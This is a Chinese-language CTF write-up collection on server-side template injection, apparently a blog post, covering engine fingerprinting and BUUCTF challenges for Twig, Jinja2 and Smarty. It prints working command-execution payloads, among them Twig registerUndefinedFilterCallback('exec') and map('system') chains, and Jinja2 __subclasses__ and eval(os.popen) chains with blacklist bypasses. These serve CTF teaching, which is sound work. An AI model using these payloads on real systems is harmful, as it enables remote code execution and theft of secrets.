SSTI专题(持续更新)

前言 :我觉得做题目还是得要深度,先把广度刷上来到后面发现做一定难度的题目会是一头雾水,【就比如我这样....】,因此这个模块也是对SSTI专题的一个汇总。如果是第一次学SSTI的师傅请移步ctfshowweb361--一道题从0入门SSTI模板注入,本专题从该基础上展开,下面几个表格是用来判断模板:

第一步:基础数学运算测试(最直接)

发送不同的数学表达式,观察返回结果:

测试Payload Python Jinja2 PHP Smarty PHP Twig
{``{7*7}} 49 49 49
{``{7*'7'}} 7777777(字符串重复) 49(自动类型转换) 49(自动类型转换)
{``{7+7}} 14 14 14
{``{7+'7'}} 报错(类型错误) 14(PHP自动转换) 14(Twig也会自动转换)

第二步:函数/方法调用测试(最实用)

这是区分Python和PHP的黄金标准

测试Payload Python Jinja2 PHP Smarty PHP Twig
{``{system('ls')}} 报错(找不到system) 执行命令 报错(除非开启了特殊选项)
{``{phpinfo()}} 报错 执行 可能报错
{``{self.__class__}} 返回类信息 报错/乱码 报错
{``{_self.env}} 报错 返回环境信息(Smarty特有) 可能返回

第三步:特殊语法测试

Python Jinja2 特有:

复制代码
{{ [].__class__.__bases__ }}  {# 返回元组,如 (<class 'object'>,) #}
{{ ''.__class__.__mro__ }}    {# 返回继承链 #}
{{ lipsum.__globals__ }}       {# lipsum是Jinja2内置函数 #}

PHP Smarty 特有:

复制代码
{$smarty.version}              {# 返回Smarty版本 #}
{php}phpinfo();{/php}          {# 旧版本Smarty支持 #}
{$_SERVER.DOCUMENT_ROOT}       {# 访问PHP全局变量 #}

PHP Twig 特有:

复制代码
{{ _self }}                    {# 返回当前模板名称 #}
{{ _vars }}                    {# 返回所有变量 #}
{{ _context }}                 {# 返回上下文 #}
{{ dump(_context) }}           {# dump函数输出调试信息 #}

Python Flask / Jinja2 类型

这是最常见的一类,特点是使用 {``{ ... }} 作为表达式包裹符,需要通过对象继承关系链(__class____bases____subclasses__)去寻找可利用的类和方法。

[BJDCTF2020]Cookie is so stable

来源:BUUCTF

题目描述跟cookie有关,然后在flag.php中输入的值作为cookie传入,但是刚开始的时候没找到什么利用点,扫目录啥的也没什么结果,看了wp之后才发现是SSTI(看来以后输入框啥都要试一试),这里是抓包后的画面:

刚开始的时候改的是username发现没啥用,然后因为题目描述说cookie,那么就尝试一下换到cookie中去:

可以看到cookie中为user时界面有回显,那么就是模板的判断,这里可以参考我之前写的文章

因此这里为twig模板,下面讲一下twig的常用调用链以及相关概念:

  • 获取当前模板上下文 :使用**{``{_self}}**可以显示当前模板自身的信息,有时能从中发现一些有用的线索 。

  • 获取环境变量 :可以通过**{``{_self.env}}**来访问Twig的环境对象,它包含了模板引擎的配置信息 。

虽然这里输入了之后没啥反应...

经典利用链:_self.env 方法(适用于Twig 1.x)

这是早期版本Twig中最经典的攻击手法,原理是利用**registerUndefinedFilterCallback** 注册一个危险函数(如**system** 或**exec**)来处理未定义的过滤器,然后在调用这个过滤器时执行命令 。

这个Payload需要分两步(或在一行内)执行:

  • 第一步 :注册一个回调函数。例如**{``{_self.env.registerUndefinedFilterCallback("exec")}}** ,这会将PHP的exec函数注册为处理未定义过滤器的回调函数 。

  • 第二步 :调用一个不存在的过滤器,触发刚才注册的回调。例如**{``{_self.env.getFilter("whoami")}}** ,这时就会执行**exec("whoami")**命令 。

在CTF题目中,这两个Payload经常被拼接在一起提交,如:{``{_self.env.registerUndefinedFilterCallback("exec")}}{``{_self.env.getFilter("cat /flag")}}

这里用经典利用链就能直接出来,然后再讲一下现在利用链:

现代利用链:利用过滤器(适用于Twig 2.x / 3.x)

在较新的Twig版本中(包括1.x的后期版本),引入了mapfiltersort等强大的过滤器。这些过滤器可以接受一个回调函数作为参数,从而提供了新的攻击面 。

我们可以将函数名(字符串)作为回调函数传递给这些过滤器,从而执行命令。这种方式非常直接,也是当前最常用的Payload之一 。

  • map 过滤器{``{["id"]|map("system")|join}}

system 函数应用到数组的每个元素上,执行 id 命令。join 用于将结果合并输出

  • sort 过滤器{``{["id", 0]|sort("system")|join}}

sort 需要两个元素才能排序,所以数组里至少要两个值 。

  • filter 过滤器{``{["id"]|filter("system")|join}}

filter 本意是过滤数组,但传入函数名作为回调时,同样可以执行命令

  • {{[0, 0]|reduce("system", "id")|join}}

reduce 接受一个初始值,这里把 id 作为初始参数传给 system

如果system函数被禁用,可以尝试替换为passthruexecshell_exec等其他执行命令的函数

但是这里不行,而且输入{{显示你要干啥,有点奇怪,望知道的师傅能解答。


[BJDCTF 2nd]fake google

来源:BUUCTF

直接给了一个输入框,测试了一下是jinja2:

这里就是最基础的SSTI题目,具体就不展开了,直接放flag,注意得加个+,要不然直接空格是400:


[WesternCTF2018]shrine

来源:BUUCTF

题目直接给出了代码:

python 复制代码
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

这里我们首先要找一下注入点在哪里,关键在这两行:

python 复制代码
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    # ... 处理函数 ...
    return flask.render_template_string(safe_jinja(shrine))

1. 路由装饰器 @app.route('/shrine/<path:shrine>') 的作用

  • @app.route() 是 Flask 用来定义 URL 路由的装饰器。它告诉 Flask:当用户访问 http://网站/shrine/xxx 这个路径时,就调用下面这个 shrine(shrine) 函数来处理。

  • /shrine/ :这是固定的前缀路径

  • <path:shrine> :这是 Flask 的变量规则。它表示 /shrine/ 后面所有的内容 都会被捕获,并作为参数 传递给函数 shrine(shrine)。其中 path 是一个转换器,意味着它可以匹配包含斜杠 / 的字符串(比如 /shrine/a/b/c 会把 'a/b/c' 传进去)。

2. 函数内部的逻辑

  • 函数 shrine(shrine) 接收到的参数 shrine,就是URL 中**/shrine/** 后面的那部分字符串。

  • 这个字符串会被传入 safe_jinja(shrine) 进行过滤处理,然后直接交给 render_template_string() 渲染成模板。

然后再看我们flag的位置在哪里:

python 复制代码
app.config['FLAG'] = os.environ.pop('FLAG')

Flag 被存储在 Flask 应用的 config 字典中。正常情况下,在 Jinja2 模板里可以直接用 {``{ config }}{``{ self.__dict__ }} 看到它。
但题目把路堵死了

  • blacklist = ['config', 'self'] :直接将这两个变量名在模板渲染前替换为 None

  • s.replace('(', '').replace(')', ''):过滤了括号 () ,这意味着我们无法直接调用函数 (例如 __class____bases__ 这种属性访问虽然不带括号,但很多利用链最终需要调用 popen()__subclasses__() 这种带括号的方法才行)。

关键突破点:Jinja2 的内置全局函数

虽然不能直接调用 configself,但 Jinja2 模板引擎在渲染时,默认会向模板空间注入一些全局函数 。这些函数本身也是对象,我们可以通过它们作为跳板,反向寻找包含 config 的 Flask 上下文。

核心的两个跳板是:

  1. url_for:Flask 的 URL 构建函数。

  2. get_flashed_messages:Flask 的闪现消息函数。

这些函数在模板中默认可用,且它们内部保存着对当前 Flask 应用上下文(app)的引用

利用链推导:从全局函数到配置

我们可以通过 __globals__ 属性(返回函数所在全局作用域内的所有变量)来"回溯"。

第一步:查看 url_for 的全局变量

python 复制代码
/shrine/{{ url_for.__globals__ }}

//这会返回一个巨大的字典,里面包含了 url_for 函数所能访问的所有全局变量。

第二步:在全局变量中找到 current_app

在 Flask 中,url_for 的实现依赖于当前的应用上下文。所以它的 __globals__ 字典里通常会有一个键叫做 current_app,指向当前运行的 Flask 应用实例。

python 复制代码
/shrine/{{ url_for.__globals__['current_app'] }}

第三步:通过 current_app 获取配置

Flask 应用实例 current_app 有一个 config 属性,里面存储的就是我们想要的配置信息。

python 复制代码
/shrine/{{url_for.__globals__['current_app'].config}}

//这样就能直接拿到flag

然后这里会有一个问题就是为什么过滤了 config 却还能用,我们再回到safe_jinja 函数:

python 复制代码
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

它是在拼接字符串 ,先拼接了 {% set config=None %}{% set self=None %},然后才拼接我们输入的 s

也就是说,它只是在模板开头重新定义(覆盖)了 config 这个变量 。而 url_for.__globals__['current_app'].config 这种写法,是通过属性链 访问到的 config,它不是直接使用 config 这个变量名 。因此,{% set config=None %} 这种设置根本影响不到 current_app.config

关键区别:变量名 vs 属性名

这里的关键是区分两个概念:

  • 变量名 :直接使用的标识符,比如 config

  • 属性名 :通过点号 .['...'] 访问的对象属性,比如 something.config

想象你有一个朋友叫"李明",他是你们班的班长,大家都叫他"班长"。

现在假设:

  • config 变量 = "班长"这个称呼

  • current_app.config = "李明"这个人本身的班长身份

题目做的操作是:规定在教室里不能叫"班长"这个称呼 (相当于 {% set config=None %})。

但这不影响李明本身仍然是班长!如果我们通过其他方式找到"李明"这个人,问他"你是不是班长?",他仍然是。

在我们的 Payload 中:

  • url_for.__globals__['current_app'] = 找到"李明"这个人(Flask 应用实例)

  • .config = 问他"你是不是班长?"(访问他的班长属性)

这个属性访问根本不需要使用"班长"这个称呼,所以禁令完全无效


[CSCCTF 2019 Qual]FlaskLight

打开靶机看着就跟模板注入有关,然后源代码里面也有相应提示:

测了一下是jinja2:

然后这里面搜了一下是没有os模块的:

那么就可以用warning catch warnings去导入,找了一下在59位,但是正常输入的话一直报500,后面测试了一下应该是global被过滤了,拼接一下就行:

python 复制代码
?search={{''.__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

然后这里读取的是根目录的:

python 复制代码
?search={{''.__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls /flasklight').read()")}}

//注意读取路径
?search={{''.__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('tac /flasklight/coomme_geeeett_youur_flek').read()")}}

?search={{config.__class__.__init__['__glo'+'bals__']['__builtins__'].__import__('os').popen('tac /flasklight/coomme_geeeett_youur_flek').read()}}

PHP Smarty 类型

Smarty是PHP的模板引擎,其语法标志是 { ... }。利用方式与Python引擎完全不同,通常是在{}内直接调用PHP函数或利用Smarty内置方法

[BJDCTF2020]The mystery of ip

来源:BUUCTF

给了个flag.php和hint.php,flag那边显示的是ip,然后查看hint.php的源代码可以看到这么一行:

这个的话可能就跟请求头相关,一般用到最多的是X-Forward-For 【更详细请见HTTP 请求头中包含的 IP 地址相关信息 】,那么我们尝试一下:

可以看到确实是修改成功的,那么我们尝试进行注入:

最终确认是smarty:

直接执行命令即可:

相关推荐
白帽子凯哥哥4 小时前
大一想打CTF,稍微学了些web想转pwn零基础要如何学习
学习·渗透测试·web·pwn·ctf
智海观潮8 小时前
只用一周时间通过AI工具重写Next.js,Cloudflare推出vinext重建前端开发边界
开发语言·javascript·人工智能·大模型·web
谁把我灯关了21 小时前
【Web安全】SSTI 从零到一:模板引擎原理深度拆解与服务端模板注入全流程解析
web安全·网络安全·ssti·从0到1·模板注入
酉鬼女又兒1 天前
HTML零基础快速入门篇(可用于备赛蓝桥杯Web应用开发) 牛客手把手戴刷FED1~8:基本标签,基本标签,媒体标签详解
前端·职场和发展·蓝桥杯·html·web
Dorimui1 天前
Ctf组会-网络基础,一篇总览基本的网络知识
ctf·网络基础
ShoreKiten1 天前
命令执行专题(持续更新)
web安全·php·ctf·rce
tryqaaa_1 天前
文件上传漏洞2总结篇(含思维导图,齐全)
web安全·php·web
tryqaaa_2 天前
md5和sha1常见绕过【详细附新生赛题目】
web安全·php·web
友人C君~2 天前
pnpm包管理器 详解
web